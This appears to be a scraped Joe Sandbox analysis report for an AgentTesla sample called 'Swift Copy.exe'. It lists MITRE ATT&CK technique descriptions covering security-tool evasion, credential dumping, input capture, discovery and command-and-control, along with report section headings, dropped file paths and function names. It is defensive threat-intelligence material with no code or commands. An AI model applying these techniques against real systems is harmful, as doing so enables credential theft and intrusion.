Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Swift Copy.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\aut5F23.tmp

C:\Users\user\AppData\Local\Temp\aut5F53.tmp

C:\Users\user\AppData\Local\Temp\ghauts

C:\Users\user\AppData\Local\Temp\nouses

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
Swift Copy.exe

Function 00D742DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Function 00D742A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 00DB2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Function 00D72CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Function 00DB065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Function 00D7344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00D72B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Function 00D73170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Function 00ED2600 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 239
fileCOMMON

Function 00DA8D45 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Function 00D72C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 00ED23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151
fileCOMMON

Function 00DE2947 Relevance: 7.8, APIs: 5, Instructions: 313
fileCOMMON

Function 00D73B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre